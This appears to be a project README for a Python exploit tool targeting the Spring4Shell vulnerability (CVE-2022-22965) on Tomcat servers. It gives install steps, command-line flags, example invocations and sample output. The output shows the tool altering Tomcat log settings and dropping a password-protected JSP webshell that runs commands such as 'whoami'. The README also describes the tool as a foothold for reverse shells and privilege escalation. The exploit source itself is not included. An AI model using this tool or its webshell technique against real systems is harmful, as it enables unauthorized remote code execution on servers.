/CVE-2022-22965

spring4shell | CVE-2022-22965

Primary LanguagePython

spring4shell ⭐

a python implementation of CVE-2022-22965 that provides a prompt to the user in the style of an ssh session.
the script is designed to be easy to understand and execute, with both readability and accessbility - depending on the user's choice. Designed for exploiting the vulnerability on tomcat servers. The fileDateFormat field on the server will be set and unset as part of the script which allows the exploit to be run multiple times. Cleanup may be required.

the exploit - CVE-2022-22965 ❗

vulnerability found in the java spring framework before version 5.2, as well as in versions 5.3.0-17 and 5.2.0-19 and running on a version of the Java Development Kit greater than or equal to 9. More info:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965

prerequisites ✔

requests module and BeautifulSoup module are required for the exploit to run. these can be installed with:
pip3 install bs4
pip3 install requests
all other modules are built into python3.

usage ℹ

the script only requires the url of vulnerable server to run. however there are other flags for ease of access, etc.
output of --help:

usage: spring4shell_v3.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] [-a] [-n] address

spring4shell_v3.py exploits an RCE vulnerability in
applications running spring core java framework.

positional arguments:
  address               ip/hostname, port, sub-directories to the vulnerable spring core framework on tomcat

optional arguments:
  -h, --help            show this help message and exit
  -f FILENAME, --filename FILENAME
                        name of the file to create and upload
  -p PASSWORD, --password PASSWORD
                        password to protect the uploaded shell
  -d DIRECTORY, --directory DIRECTORY
                        The upload path for the file
  -a, --accessible      turns off features which may negatively affect screen readers
  -n, --no-colour       removes colour output

example:
        spring4shell_v3.py http://10.10.10.10/
        spring4shell_v3.py http://hostname:8080/ -p 'password123'
        spring4shell_v3.py http://10.10.10.10/subdir/ -a -f 'jsp-shell'


example output:

./spring4shell http://spring-vuln.local

                /           /  |      /         / /                                                            
 ___  ___  ___    ___  ___ (___| ___ (___  ___ ( (                                                             
|___ |   )|   )| |   )|   )    )|___ |   )|___)| |                                                             
 __/ |__/ |    | |  / |__/    /  __/ |  / |__  | |                                                             
     |                __/                                                                                      
CVE-2022-22965.
[i] attempting to change tomcat log variables.
[+] log variables set successfully.
[+] attempting to change tomcat log location variables.
[+] log successfully modified.
[i] waiting for tomcat changes.
[i] sending the webshell.
[i] resetting the log variables.
[i] shell location:
[i] http://spring-vuln.local/20df2b10c787d5ae.jsp?pwd=bd72c5e8&cmd=whoami
[i] or run commands here. type 'exit' to quit.
spring4shell:service@spring-vuln.local $ whoami
service

spring4shell:service@spring-vuln.local $

limitations ⚠

it goes without saying that the script does not provide the user with a full shell, but designed as a platform for achieving a full reverse shell, privesc, etc, on the target.
The script attempts to harvest the user/service running the vulnerable server so that it can be used as part of the pseudo command prompt in the program, though this is not always reliable.

notes 📝

the script was mainly an exercise in python scripting for a single exploit with both readability and accessibility in mind. designed for ease of use and understandability. attempts to handle common exceptions.

credits 👍

https://skerritt.blog/a11y/ - accessibility implementation.